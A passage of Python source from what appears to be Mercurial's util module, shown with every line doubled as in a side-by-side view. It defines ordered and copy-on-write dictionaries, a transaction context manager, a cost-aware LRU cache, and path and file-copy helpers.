1110 self._copied = getattr(self, '_copied', 0) + 1
1110 self._copied = getattr(self, '_copied', 0) + 1
1111 return self
1111 return self
1112
1112
1113 class sortdict(collections.OrderedDict):
1113 class sortdict(collections.OrderedDict):
1114 '''a simple sorted dictionary
1114 '''a simple sorted dictionary
1115
1115
1116 >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
1116 >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
1117 >>> d2 = d1.copy()
1117 >>> d2 = d1.copy()
1118 >>> d2
1118 >>> d2
1119 sortdict([('a', 0), ('b', 1)])
1119 sortdict([('a', 0), ('b', 1)])
1120 >>> d2.update([(b'a', 2)])
1120 >>> d2.update([(b'a', 2)])
1121 >>> list(d2.keys()) # should still be in last-set order
1121 >>> list(d2.keys()) # should still be in last-set order
1122 ['b', 'a']
1122 ['b', 'a']
1123 '''
1123 '''
1124
1124
1125 def __setitem__(self, key, value):
1125 def __setitem__(self, key, value):
1126 if key in self:
1126 if key in self:
1127 del self[key]
1127 del self[key]
1128 super(sortdict, self).__setitem__(key, value)
1128 super(sortdict, self).__setitem__(key, value)
1129
1129
1130 if pycompat.ispypy:
1130 if pycompat.ispypy:
1131 # __setitem__() isn't called as of PyPy 5.8.0
1131 # __setitem__() isn't called as of PyPy 5.8.0
1132 def update(self, src):
1132 def update(self, src):
1133 if isinstance(src, dict):
1133 if isinstance(src, dict):
1134 src = src.iteritems()
1134 src = src.iteritems()
1135 for k, v in src:
1135 for k, v in src:
1136 self[k] = v
1136 self[k] = v
1137
1137
1138 class cowdict(cow, dict):
1138 class cowdict(cow, dict):
1139 """copy-on-write dict
1139 """copy-on-write dict
1140
1140
1141 Be sure to call d = d.preparewrite() before writing to d.
1141 Be sure to call d = d.preparewrite() before writing to d.
1142
1142
1143 >>> a = cowdict()
1143 >>> a = cowdict()
1144 >>> a is a.preparewrite()
1144 >>> a is a.preparewrite()
1145 True
1145 True
1146 >>> b = a.copy()
1146 >>> b = a.copy()
1147 >>> b is a
1147 >>> b is a
1148 True
1148 True
1149 >>> c = b.copy()
1149 >>> c = b.copy()
1150 >>> c is a
1150 >>> c is a
1151 True
1151 True
1152 >>> a = a.preparewrite()
1152 >>> a = a.preparewrite()
1153 >>> b is a
1153 >>> b is a
1154 False
1154 False
1155 >>> a is a.preparewrite()
1155 >>> a is a.preparewrite()
1156 True
1156 True
1157 >>> c = c.preparewrite()
1157 >>> c = c.preparewrite()
1158 >>> b is c
1158 >>> b is c
1159 False
1159 False
1160 >>> b is b.preparewrite()
1160 >>> b is b.preparewrite()
1161 True
1161 True
1162 """
1162 """
1163
1163
1164 class cowsortdict(cow, sortdict):
1164 class cowsortdict(cow, sortdict):
1165 """copy-on-write sortdict
1165 """copy-on-write sortdict
1166
1166
1167 Be sure to call d = d.preparewrite() before writing to d.
1167 Be sure to call d = d.preparewrite() before writing to d.
1168 """
1168 """
1169
1169
1170 class transactional(object):
1170 class transactional(object):
1171 """Base class for making a transactional type into a context manager."""
1171 """Base class for making a transactional type into a context manager."""
1172 __metaclass__ = abc.ABCMeta
1172 __metaclass__ = abc.ABCMeta
1173
1173
1174 @abc.abstractmethod
1174 @abc.abstractmethod
1175 def close(self):
1175 def close(self):
1176 """Successfully closes the transaction."""
1176 """Successfully closes the transaction."""
1177
1177
1178 @abc.abstractmethod
1178 @abc.abstractmethod
1179 def release(self):
1179 def release(self):
1180 """Marks the end of the transaction.
1180 """Marks the end of the transaction.
1181
1181
1182 If the transaction has not been closed, it will be aborted.
1182 If the transaction has not been closed, it will be aborted.
1183 """
1183 """
1184
1184
1185 def __enter__(self):
1185 def __enter__(self):
1186 return self
1186 return self
1187
1187
1188 def __exit__(self, exc_type, exc_val, exc_tb):
1188 def __exit__(self, exc_type, exc_val, exc_tb):
1189 try:
1189 try:
1190 if exc_type is None:
1190 if exc_type is None:
1191 self.close()
1191 self.close()
1192 finally:
1192 finally:
1193 self.release()
1193 self.release()
1194
1194
1195 @contextlib.contextmanager
1195 @contextlib.contextmanager
1196 def acceptintervention(tr=None):
1196 def acceptintervention(tr=None):
1197 """A context manager that closes the transaction on InterventionRequired
1197 """A context manager that closes the transaction on InterventionRequired
1198
1198
1199 If no transaction was provided, this simply runs the body and returns
1199 If no transaction was provided, this simply runs the body and returns
1200 """
1200 """
1201 if not tr:
1201 if not tr:
1202 yield
1202 yield
1203 return
1203 return
1204 try:
1204 try:
1205 yield
1205 yield
1206 tr.close()
1206 tr.close()
1207 except error.InterventionRequired:
1207 except error.InterventionRequired:
1208 tr.close()
1208 tr.close()
1209 raise
1209 raise
1210 finally:
1210 finally:
1211 tr.release()
1211 tr.release()
1212
1212
1213 @contextlib.contextmanager
1213 @contextlib.contextmanager
1214 def nullcontextmanager():
1214 def nullcontextmanager():
1215 yield
1215 yield
1216
1216
1217 class _lrucachenode(object):
1217 class _lrucachenode(object):
1218 """A node in a doubly linked list.
1218 """A node in a doubly linked list.
1219
1219
1220 Holds a reference to nodes on either side as well as a key-value
1220 Holds a reference to nodes on either side as well as a key-value
1221 pair for the dictionary entry.
1221 pair for the dictionary entry.
1222 """
1222 """
1223 __slots__ = (r'next', r'prev', r'key', r'value', r'cost')
1223 __slots__ = (r'next', r'prev', r'key', r'value', r'cost')
1224
1224
1225 def __init__(self):
1225 def __init__(self):
1226 self.next = None
1226 self.next = None
1227 self.prev = None
1227 self.prev = None
1228
1228
1229 self.key = _notset
1229 self.key = _notset
1230 self.value = None
1230 self.value = None
1231 self.cost = 0
1231 self.cost = 0
1232
1232
1233 def markempty(self):
1233 def markempty(self):
1234 """Mark the node as emptied."""
1234 """Mark the node as emptied."""
1235 self.key = _notset
1235 self.key = _notset
1236 self.value = None
1236 self.value = None
1237 self.cost = 0
1237 self.cost = 0
1238
1238
1239 class lrucachedict(object):
1239 class lrucachedict(object):
1240 """Dict that caches most recent accesses and sets.
1240 """Dict that caches most recent accesses and sets.
1241
1241
1242 The dict consists of an actual backing dict - indexed by original
1242 The dict consists of an actual backing dict - indexed by original
1243 key - and a doubly linked circular list defining the order of entries in
1243 key - and a doubly linked circular list defining the order of entries in
1244 the cache.
1244 the cache.
1245
1245
1246 The head node is the newest entry in the cache. If the cache is full,
1246 The head node is the newest entry in the cache. If the cache is full,
1247 we recycle head.prev and make it the new head. Cache accesses result in
1247 we recycle head.prev and make it the new head. Cache accesses result in
1248 the node being moved to before the existing head and being marked as the
1248 the node being moved to before the existing head and being marked as the
1249 new head node.
1249 new head node.
1250
1250
1251 Items in the cache can be inserted with an optional "cost" value. This is
1251 Items in the cache can be inserted with an optional "cost" value. This is
1252 simply an integer that is specified by the caller. The cache can be queried
1252 simply an integer that is specified by the caller. The cache can be queried
1253 for the total cost of all items presently in the cache.
1253 for the total cost of all items presently in the cache.
1254
1254
1255 The cache can also define a maximum cost. If a cache insertion would
1255 The cache can also define a maximum cost. If a cache insertion would
1256 cause the total cost of the cache to go beyond the maximum cost limit,
1256 cause the total cost of the cache to go beyond the maximum cost limit,
1257 nodes will be evicted to make room for the new code. This can be used
1257 nodes will be evicted to make room for the new code. This can be used
1258 to e.g. set a max memory limit and associate an estimated bytes size
1258 to e.g. set a max memory limit and associate an estimated bytes size
1259 cost to each item in the cache. By default, no maximum cost is enforced.
1259 cost to each item in the cache. By default, no maximum cost is enforced.
1260 """
1260 """
1261 def __init__(self, max, maxcost=0):
1261 def __init__(self, max, maxcost=0):
1262 self._cache = {}
1262 self._cache = {}
1263
1263
1264 self._head = head = _lrucachenode()
1264 self._head = head = _lrucachenode()
1265 head.prev = head
1265 head.prev = head
1266 head.next = head
1266 head.next = head
1267 self._size = 1
1267 self._size = 1
1268 self.capacity = max
1268 self.capacity = max
1269 self.totalcost = 0
1269 self.totalcost = 0
1270 self.maxcost = maxcost
1270 self.maxcost = maxcost
1271
1271
1272 def __len__(self):
1272 def __len__(self):
1273 return len(self._cache)
1273 return len(self._cache)
1274
1274
1275 def __contains__(self, k):
1275 def __contains__(self, k):
1276 return k in self._cache
1276 return k in self._cache
1277
1277
1278 def __iter__(self):
1278 def __iter__(self):
1279 # We don't have to iterate in cache order, but why not.
1279 # We don't have to iterate in cache order, but why not.
1280 n = self._head
1280 n = self._head
1281 for i in range(len(self._cache)):
1281 for i in range(len(self._cache)):
1282 yield n.key
1282 yield n.key
1283 n = n.next
1283 n = n.next
1284
1284
1285 def __getitem__(self, k):
1285 def __getitem__(self, k):
1286 node = self._cache[k]
1286 node = self._cache[k]
1287 self._movetohead(node)
1287 self._movetohead(node)
1288 return node.value
1288 return node.value
1289
1289
1290 def insert(self, k, v, cost=0):
1290 def insert(self, k, v, cost=0):
1291 """Insert a new item in the cache with optional cost value."""
1291 """Insert a new item in the cache with optional cost value."""
1292 node = self._cache.get(k)
1292 node = self._cache.get(k)
1293 # Replace existing value and mark as newest.
1293 # Replace existing value and mark as newest.
1294 if node is not None:
1294 if node is not None:
1295 self.totalcost -= node.cost
1295 self.totalcost -= node.cost
1296 node.value = v
1296 node.value = v
1297 node.cost = cost
1297 node.cost = cost
1298 self.totalcost += cost
1298 self.totalcost += cost
1299 self._movetohead(node)
1299 self._movetohead(node)
1300
1300
1301 if self.maxcost:
1301 if self.maxcost:
1302 self._enforcecostlimit()
1302 self._enforcecostlimit()
1303
1303
1304 return
1304 return
1305
1305
1306 if self._size < self.capacity:
1306 if self._size < self.capacity:
1307 node = self._addcapacity()
1307 node = self._addcapacity()
1308 else:
1308 else:
1309 # Grab the last/oldest item.
1309 # Grab the last/oldest item.
1310 node = self._head.prev
1310 node = self._head.prev
1311
1311
1312 # At capacity. Kill the old entry.
1312 # At capacity. Kill the old entry.
1313 if node.key is not _notset:
1313 if node.key is not _notset:
1314 self.totalcost -= node.cost
1314 self.totalcost -= node.cost
1315 del self._cache[node.key]
1315 del self._cache[node.key]
1316
1316
1317 node.key = k
1317 node.key = k
1318 node.value = v
1318 node.value = v
1319 node.cost = cost
1319 node.cost = cost
1320 self.totalcost += cost
1320 self.totalcost += cost
1321 self._cache[k] = node
1321 self._cache[k] = node
1322 # And mark it as newest entry. No need to adjust order since it
1322 # And mark it as newest entry. No need to adjust order since it
1323 # is already self._head.prev.
1323 # is already self._head.prev.
1324 self._head = node
1324 self._head = node
1325
1325
1326 if self.maxcost:
1326 if self.maxcost:
1327 self._enforcecostlimit()
1327 self._enforcecostlimit()
1328
1328
1329 def __setitem__(self, k, v):
1329 def __setitem__(self, k, v):
1330 self.insert(k, v)
1330 self.insert(k, v)
1331
1331
1332 def __delitem__(self, k):
1332 def __delitem__(self, k):
1333 self.pop(k)
1333 self.pop(k)
1334
1334
1335 def pop(self, k, default=_notset):
1335 def pop(self, k, default=_notset):
1336 try:
1336 try:
1337 node = self._cache.pop(k)
1337 node = self._cache.pop(k)
1338 except KeyError:
1338 except KeyError:
1339 if default is _notset:
1339 if default is _notset:
1340 raise
1340 raise
1341 return default
1341 return default
1342 value = node.value
1342 value = node.value
1343 self.totalcost -= node.cost
1343 self.totalcost -= node.cost
1344 node.markempty()
1344 node.markempty()
1345
1345
1346 # Temporarily mark as newest item before re-adjusting head to make
1346 # Temporarily mark as newest item before re-adjusting head to make
1347 # this node the oldest item.
1347 # this node the oldest item.
1348 self._movetohead(node)
1348 self._movetohead(node)
1349 self._head = node.next
1349 self._head = node.next
1350
1350
1351 return value
1351 return value
1352
1352
1353 # Additional dict methods.
1353 # Additional dict methods.
1354
1354
1355 def get(self, k, default=None):
1355 def get(self, k, default=None):
1356 try:
1356 try:
1357 return self.__getitem__(k)
1357 return self.__getitem__(k)
1358 except KeyError:
1358 except KeyError:
1359 return default
1359 return default
1360
1360
1361 def peek(self, k, default=_notset):
1361 def peek(self, k, default=_notset):
1362 """Get the specified item without moving it to the head
1362 """Get the specified item without moving it to the head
1363
1363
1364 Unlike get(), this doesn't mutate the internal state. But be aware
1364 Unlike get(), this doesn't mutate the internal state. But be aware
1365 that it doesn't mean peek() is thread safe.
1365 that it doesn't mean peek() is thread safe.
1366 """
1366 """
1367 try:
1367 try:
1368 node = self._cache[k]
1368 node = self._cache[k]
1369 return node.value
1369 return node.value
1370 except KeyError:
1370 except KeyError:
1371 if default is _notset:
1371 if default is _notset:
1372 raise
1372 raise
1373 return default
1373 return default
1374
1374
1375 def clear(self):
1375 def clear(self):
1376 n = self._head
1376 n = self._head
1377 while n.key is not _notset:
1377 while n.key is not _notset:
1378 self.totalcost -= n.cost
1378 self.totalcost -= n.cost
1379 n.markempty()
1379 n.markempty()
1380 n = n.next
1380 n = n.next
1381
1381
1382 self._cache.clear()
1382 self._cache.clear()
1383
1383
1384 def copy(self, capacity=None, maxcost=0):
1384 def copy(self, capacity=None, maxcost=0):
1385 """Create a new cache as a copy of the current one.
1385 """Create a new cache as a copy of the current one.
1386
1386
1387 By default, the new cache has the same capacity as the existing one.
1387 By default, the new cache has the same capacity as the existing one.
1388 But, the cache capacity can be changed as part of performing the
1388 But, the cache capacity can be changed as part of performing the
1389 copy.
1389 copy.
1390
1390
1391 Items in the copy have an insertion/access order matching this
1391 Items in the copy have an insertion/access order matching this
1392 instance.
1392 instance.
1393 """
1393 """
1394
1394
1395 capacity = capacity or self.capacity
1395 capacity = capacity or self.capacity
1396 maxcost = maxcost or self.maxcost
1396 maxcost = maxcost or self.maxcost
1397 result = lrucachedict(capacity, maxcost=maxcost)
1397 result = lrucachedict(capacity, maxcost=maxcost)
1398
1398
1399 # We copy entries by iterating in oldest-to-newest order so the copy
1399 # We copy entries by iterating in oldest-to-newest order so the copy
1400 # has the correct ordering.
1400 # has the correct ordering.
1401
1401
1402 # Find the first non-empty entry.
1402 # Find the first non-empty entry.
1403 n = self._head.prev
1403 n = self._head.prev
1404 while n.key is _notset and n is not self._head:
1404 while n.key is _notset and n is not self._head:
1405 n = n.prev
1405 n = n.prev
1406
1406
1407 # We could potentially skip the first N items when decreasing capacity.
1407 # We could potentially skip the first N items when decreasing capacity.
1408 # But let's keep it simple unless it is a performance problem.
1408 # But let's keep it simple unless it is a performance problem.
1409 for i in range(len(self._cache)):
1409 for i in range(len(self._cache)):
1410 result.insert(n.key, n.value, cost=n.cost)
1410 result.insert(n.key, n.value, cost=n.cost)
1411 n = n.prev
1411 n = n.prev
1412
1412
1413 return result
1413 return result
1414
1414
1415 def popoldest(self):
1415 def popoldest(self):
1416 """Remove the oldest item from the cache.
1416 """Remove the oldest item from the cache.
1417
1417
1418 Returns the (key, value) describing the removed cache entry.
1418 Returns the (key, value) describing the removed cache entry.
1419 """
1419 """
1420 if not self._cache:
1420 if not self._cache:
1421 return
1421 return
1422
1422
1423 # Walk the linked list backwards starting at tail node until we hit
1423 # Walk the linked list backwards starting at tail node until we hit
1424 # a non-empty node.
1424 # a non-empty node.
1425 n = self._head.prev
1425 n = self._head.prev
1426 while n.key is _notset:
1426 while n.key is _notset:
1427 n = n.prev
1427 n = n.prev
1428
1428
1429 key, value = n.key, n.value
1429 key, value = n.key, n.value
1430
1430
1431 # And remove it from the cache and mark it as empty.
1431 # And remove it from the cache and mark it as empty.
1432 del self._cache[n.key]
1432 del self._cache[n.key]
1433 self.totalcost -= n.cost
1433 self.totalcost -= n.cost
1434 n.markempty()
1434 n.markempty()
1435
1435
1436 return key, value
1436 return key, value
1437
1437
1438 def _movetohead(self, node):
1438 def _movetohead(self, node):
1439 """Mark a node as the newest, making it the new head.
1439 """Mark a node as the newest, making it the new head.
1440
1440
1441 When a node is accessed, it becomes the freshest entry in the LRU
1441 When a node is accessed, it becomes the freshest entry in the LRU
1442 list, which is denoted by self._head.
1442 list, which is denoted by self._head.
1443
1443
1444 Visually, let's make ``N`` the new head node (* denotes head):
1444 Visually, let's make ``N`` the new head node (* denotes head):
1445
1445
1446 previous/oldest <-> head <-> next/next newest
1446 previous/oldest <-> head <-> next/next newest
1447
1447
1448 ----<->--- A* ---<->-----
1448 ----<->--- A* ---<->-----
1449 | |
1449 | |
1450 E <-> D <-> N <-> C <-> B
1450 E <-> D <-> N <-> C <-> B
1451
1451
1452 To:
1452 To:
1453
1453
1454 ----<->--- N* ---<->-----
1454 ----<->--- N* ---<->-----
1455 | |
1455 | |
1456 E <-> D <-> C <-> B <-> A
1456 E <-> D <-> C <-> B <-> A
1457
1457
1458 This requires the following moves:
1458 This requires the following moves:
1459
1459
1460 C.next = D (node.prev.next = node.next)
1460 C.next = D (node.prev.next = node.next)
1461 D.prev = C (node.next.prev = node.prev)
1461 D.prev = C (node.next.prev = node.prev)
1462 E.next = N (head.prev.next = node)
1462 E.next = N (head.prev.next = node)
1463 N.prev = E (node.prev = head.prev)
1463 N.prev = E (node.prev = head.prev)
1464 N.next = A (node.next = head)
1464 N.next = A (node.next = head)
1465 A.prev = N (head.prev = node)
1465 A.prev = N (head.prev = node)
1466 """
1466 """
1467 head = self._head
1467 head = self._head
1468 # C.next = D
1468 # C.next = D
1469 node.prev.next = node.next
1469 node.prev.next = node.next
1470 # D.prev = C
1470 # D.prev = C
1471 node.next.prev = node.prev
1471 node.next.prev = node.prev
1472 # N.prev = E
1472 # N.prev = E
1473 node.prev = head.prev
1473 node.prev = head.prev
1474 # N.next = A
1474 # N.next = A
1475 # It is tempting to do just "head" here, however if node is
1475 # It is tempting to do just "head" here, however if node is
1476 # adjacent to head, this will do bad things.
1476 # adjacent to head, this will do bad things.
1477 node.next = head.prev.next
1477 node.next = head.prev.next
1478 # E.next = N
1478 # E.next = N
1479 node.next.prev = node
1479 node.next.prev = node
1480 # A.prev = N
1480 # A.prev = N
1481 node.prev.next = node
1481 node.prev.next = node
1482
1482
1483 self._head = node
1483 self._head = node
1484
1484
1485 def _addcapacity(self):
1485 def _addcapacity(self):
1486 """Add a node to the circular linked list.
1486 """Add a node to the circular linked list.
1487
1487
1488 The new node is inserted before the head node.
1488 The new node is inserted before the head node.
1489 """
1489 """
1490 head = self._head
1490 head = self._head
1491 node = _lrucachenode()
1491 node = _lrucachenode()
1492 head.prev.next = node
1492 head.prev.next = node
1493 node.prev = head.prev
1493 node.prev = head.prev
1494 node.next = head
1494 node.next = head
1495 head.prev = node
1495 head.prev = node
1496 self._size += 1
1496 self._size += 1
1497 return node
1497 return node
1498
1498
1499 def _enforcecostlimit(self):
1499 def _enforcecostlimit(self):
1500 # This should run after an insertion. It should only be called if total
1500 # This should run after an insertion. It should only be called if total
1501 # cost limits are being enforced.
1501 # cost limits are being enforced.
1502 # The most recently inserted node is never evicted.
1502 # The most recently inserted node is never evicted.
1503 if len(self) <= 1 or self.totalcost <= self.maxcost:
1503 if len(self) <= 1 or self.totalcost <= self.maxcost:
1504 return
1504 return
1505
1505
1506 # This is logically equivalent to calling popoldest() until we
1506 # This is logically equivalent to calling popoldest() until we
1507 # free up enough cost. We don't do that since popoldest() needs
1507 # free up enough cost. We don't do that since popoldest() needs
1508 # to walk the linked list and doing this in a loop would be
1508 # to walk the linked list and doing this in a loop would be
1509 # quadratic. So we find the first non-empty node and then
1509 # quadratic. So we find the first non-empty node and then
1510 # walk nodes until we free up enough capacity.
1510 # walk nodes until we free up enough capacity.
1511 #
1511 #
1512 # If we only removed the minimum number of nodes to free enough
1512 # If we only removed the minimum number of nodes to free enough
1513 # cost at insert time, chances are high that the next insert would
1513 # cost at insert time, chances are high that the next insert would
1514 # also require pruning. This would effectively constitute quadratic
1514 # also require pruning. This would effectively constitute quadratic
1515 # behavior for insert-heavy workloads. To mitigate this, we set a
1515 # behavior for insert-heavy workloads. To mitigate this, we set a
1516 # target cost that is a percentage of the max cost. This will tend
1516 # target cost that is a percentage of the max cost. This will tend
1517 # to free more nodes when the high water mark is reached, which
1517 # to free more nodes when the high water mark is reached, which
1518 # lowers the chances of needing to prune on the subsequent insert.
1518 # lowers the chances of needing to prune on the subsequent insert.
1519 targetcost = int(self.maxcost * 0.75)
1519 targetcost = int(self.maxcost * 0.75)
1520
1520
1521 n = self._head.prev
1521 n = self._head.prev
1522 while n.key is _notset:
1522 while n.key is _notset:
1523 n = n.prev
1523 n = n.prev
1524
1524
1525 while len(self) > 1 and self.totalcost > targetcost:
1525 while len(self) > 1 and self.totalcost > targetcost:
1526 del self._cache[n.key]
1526 del self._cache[n.key]
1527 self.totalcost -= n.cost
1527 self.totalcost -= n.cost
1528 n.markempty()
1528 n.markempty()
1529 n = n.prev
1529 n = n.prev
1530
1530
1531 def lrucachefunc(func):
1531 def lrucachefunc(func):
1532 '''cache most recent results of function calls'''
1532 '''cache most recent results of function calls'''
1533 cache = {}
1533 cache = {}
1534 order = collections.deque()
1534 order = collections.deque()
1535 if func.__code__.co_argcount == 1:
1535 if func.__code__.co_argcount == 1:
1536 def f(arg):
1536 def f(arg):
1537 if arg not in cache:
1537 if arg not in cache:
1538 if len(cache) > 20:
1538 if len(cache) > 20:
1539 del cache[order.popleft()]
1539 del cache[order.popleft()]
1540 cache[arg] = func(arg)
1540 cache[arg] = func(arg)
1541 else:
1541 else:
1542 order.remove(arg)
1542 order.remove(arg)
1543 order.append(arg)
1543 order.append(arg)
1544 return cache[arg]
1544 return cache[arg]
1545 else:
1545 else:
1546 def f(*args):
1546 def f(*args):
1547 if args not in cache:
1547 if args not in cache:
1548 if len(cache) > 20:
1548 if len(cache) > 20:
1549 del cache[order.popleft()]
1549 del cache[order.popleft()]
1550 cache[args] = func(*args)
1550 cache[args] = func(*args)
1551 else:
1551 else:
1552 order.remove(args)
1552 order.remove(args)
1553 order.append(args)
1553 order.append(args)
1554 return cache[args]
1554 return cache[args]
1555
1555
1556 return f
1556 return f
1557
1557
1558 class propertycache(object):
1558 class propertycache(object):
1559 def __init__(self, func):
1559 def __init__(self, func):
1560 self.func = func
1560 self.func = func
1561 self.name = func.__name__
1561 self.name = func.__name__
1562 def __get__(self, obj, type=None):
1562 def __get__(self, obj, type=None):
1563 result = self.func(obj)
1563 result = self.func(obj)
1564 self.cachevalue(obj, result)
1564 self.cachevalue(obj, result)
1565 return result
1565 return result
1566
1566
1567 def cachevalue(self, obj, value):
1567 def cachevalue(self, obj, value):
1568 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
1568 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
1569 obj.__dict__[self.name] = value
1569 obj.__dict__[self.name] = value
1570
1570
1571 def clearcachedproperty(obj, prop):
1571 def clearcachedproperty(obj, prop):
1572 '''clear a cached property value, if one has been set'''
1572 '''clear a cached property value, if one has been set'''
1573 prop = pycompat.sysstr(prop)
1573 prop = pycompat.sysstr(prop)
1574 if prop in obj.__dict__:
1574 if prop in obj.__dict__:
1575 del obj.__dict__[prop]
1575 del obj.__dict__[prop]
1576
1576
1577 def increasingchunks(source, min=1024, max=65536):
1577 def increasingchunks(source, min=1024, max=65536):
1578 '''return no less than min bytes per chunk while data remains,
1578 '''return no less than min bytes per chunk while data remains,
1579 doubling min after each chunk until it reaches max'''
1579 doubling min after each chunk until it reaches max'''
1580 def log2(x):
1580 def log2(x):
1581 if not x:
1581 if not x:
1582 return 0
1582 return 0
1583 i = 0
1583 i = 0
1584 while x:
1584 while x:
1585 x >>= 1
1585 x >>= 1
1586 i += 1
1586 i += 1
1587 return i - 1
1587 return i - 1
1588
1588
1589 buf = []
1589 buf = []
1590 blen = 0
1590 blen = 0
1591 for chunk in source:
1591 for chunk in source:
1592 buf.append(chunk)
1592 buf.append(chunk)
1593 blen += len(chunk)
1593 blen += len(chunk)
1594 if blen >= min:
1594 if blen >= min:
1595 if min < max:
1595 if min < max:
1596 min = min << 1
1596 min = min << 1
1597 nmin = 1 << log2(blen)
1597 nmin = 1 << log2(blen)
1598 if nmin > min:
1598 if nmin > min:
1599 min = nmin
1599 min = nmin
1600 if min > max:
1600 if min > max:
1601 min = max
1601 min = max
1602 yield ''.join(buf)
1602 yield ''.join(buf)
1603 blen = 0
1603 blen = 0
1604 buf = []
1604 buf = []
1605 if buf:
1605 if buf:
1606 yield ''.join(buf)
1606 yield ''.join(buf)
1607
1607
1608 def always(fn):
1608 def always(fn):
1609 return True
1609 return True
1610
1610
1611 def never(fn):
1611 def never(fn):
1612 return False
1612 return False
1613
1613
1614 def nogc(func):
1614 def nogc(func):
1615 """disable garbage collector
1615 """disable garbage collector
1616
1616
1617 Python's garbage collector triggers a GC each time a certain number of
1617 Python's garbage collector triggers a GC each time a certain number of
1618 container objects (the number being defined by gc.get_threshold()) are
1618 container objects (the number being defined by gc.get_threshold()) are
1619 allocated even when marked not to be tracked by the collector. Tracking has
1619 allocated even when marked not to be tracked by the collector. Tracking has
1620 no effect on when GCs are triggered, only on what objects the GC looks
1620 no effect on when GCs are triggered, only on what objects the GC looks
1621 into. As a workaround, disable GC while building complex (huge)
1621 into. As a workaround, disable GC while building complex (huge)
1622 containers.
1622 containers.
1623
1623
1624 This garbage collector issue have been fixed in 2.7. But it still affect
1624 This garbage collector issue have been fixed in 2.7. But it still affect
1625 CPython's performance.
1625 CPython's performance.
1626 """
1626 """
1627 def wrapper(*args, **kwargs):
1627 def wrapper(*args, **kwargs):
1628 gcenabled = gc.isenabled()
1628 gcenabled = gc.isenabled()
1629 gc.disable()
1629 gc.disable()
1630 try:
1630 try:
1631 return func(*args, **kwargs)
1631 return func(*args, **kwargs)
1632 finally:
1632 finally:
1633 if gcenabled:
1633 if gcenabled:
1634 gc.enable()
1634 gc.enable()
1635 return wrapper
1635 return wrapper
1636
1636
1637 if pycompat.ispypy:
1637 if pycompat.ispypy:
1638 # PyPy runs slower with gc disabled
1638 # PyPy runs slower with gc disabled
1639 nogc = lambda x: x
1639 nogc = lambda x: x
1640
1640
1641 def pathto(root, n1, n2):
1641 def pathto(root, n1, n2):
1642 '''return the relative path from one place to another.
1642 '''return the relative path from one place to another.
1643 root should use os.sep to separate directories
1643 root should use os.sep to separate directories
1644 n1 should use os.sep to separate directories
1644 n1 should use os.sep to separate directories
1645 n2 should use "/" to separate directories
1645 n2 should use "/" to separate directories
1646 returns an os.sep-separated path.
1646 returns an os.sep-separated path.
1647
1647
1648 If n1 is a relative path, it's assumed it's
1648 If n1 is a relative path, it's assumed it's
1649 relative to root.
1649 relative to root.
1650 n2 should always be relative to root.
1650 n2 should always be relative to root.
1651 '''
1651 '''
1652 if not n1:
1652 if not n1:
1653 return localpath(n2)
1653 return localpath(n2)
1654 if os.path.isabs(n1):
1654 if os.path.isabs(n1):
1655 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
1655 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
1656 return os.path.join(root, localpath(n2))
1656 return os.path.join(root, localpath(n2))
1657 n2 = '/'.join((pconvert(root), n2))
1657 n2 = '/'.join((pconvert(root), n2))
1658 a, b = splitpath(n1), n2.split('/')
1658 a, b = splitpath(n1), n2.split('/')
1659 a.reverse()
1659 a.reverse()
1660 b.reverse()
1660 b.reverse()
1661 while a and b and a[-1] == b[-1]:
1661 while a and b and a[-1] == b[-1]:
1662 a.pop()
1662 a.pop()
1663 b.pop()
1663 b.pop()
1664 b.reverse()
1664 b.reverse()
1665 return pycompat.ossep.join((['..'] * len(a)) + b) or '.'
1665 return pycompat.ossep.join((['..'] * len(a)) + b) or '.'
1666
1666
1667 # the location of data files matching the source code
1667 # the location of data files matching the source code
1668 if procutil.mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app':
1668 if procutil.mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app':
1669 # executable version (py2exe) doesn't support __file__
1669 # executable version (py2exe) doesn't support __file__
1670 datapath = os.path.dirname(pycompat.sysexecutable)
1670 datapath = os.path.dirname(pycompat.sysexecutable)
1671 else:
1671 else:
1672 datapath = os.path.dirname(pycompat.fsencode(__file__))
1672 datapath = os.path.dirname(pycompat.fsencode(__file__))
1673
1673
1674 i18n.setdatapath(datapath)
1674 i18n.setdatapath(datapath)
1675
1675
1676 def checksignature(func):
1676 def checksignature(func):
1677 '''wrap a function with code to check for calling errors'''
1677 '''wrap a function with code to check for calling errors'''
1678 def check(*args, **kwargs):
1678 def check(*args, **kwargs):
1679 try:
1679 try:
1680 return func(*args, **kwargs)
1680 return func(*args, **kwargs)
1681 except TypeError:
1681 except TypeError:
1682 if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
1682 if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
1683 raise error.SignatureError
1683 raise error.SignatureError
1684 raise
1684 raise
1685
1685
1686 return check
1686 return check
1687
1687
1688 # a whilelist of known filesystems where hardlink works reliably
1688 # a whilelist of known filesystems where hardlink works reliably
1689 _hardlinkfswhitelist = {
1689 _hardlinkfswhitelist = {
1690 'apfs',
1690 'apfs',
1691 'btrfs',
1691 'btrfs',
1692 'ext2',
1692 'ext2',
1693 'ext3',
1693 'ext3',
1694 'ext4',
1694 'ext4',
1695 'hfs',
1695 'hfs',
1696 'jfs',
1696 'jfs',
1697 'NTFS',
1697 'NTFS',
1698 'reiserfs',
1698 'reiserfs',
1699 'tmpfs',
1699 'tmpfs',
1700 'ufs',
1700 'ufs',
1701 'xfs',
1701 'xfs',
1702 'zfs',
1702 'zfs',
1703 }
1703 }
1704
1704
1705 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
1705 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
1706 '''copy a file, preserving mode and optionally other stat info like
1706 '''copy a file, preserving mode and optionally other stat info like
1707 atime/mtime
1707 atime/mtime
1708
1708
1709 checkambig argument is used with filestat, and is useful only if
1709 checkambig argument is used with filestat, and is useful only if
1710 destination file is guarded by any lock (e.g. repo.lock or
1710 destination file is guarded by any lock (e.g. repo.lock or
1711 repo.wlock).
1711 repo.wlock).
1712
1712
1713 copystat and checkambig should be exclusive.
1713 copystat and checkambig should be exclusive.
1714 '''
1714 '''
1715 assert not (copystat and checkambig)
1715 assert not (copystat and checkambig)
1716 oldstat = None
1716 oldstat = None
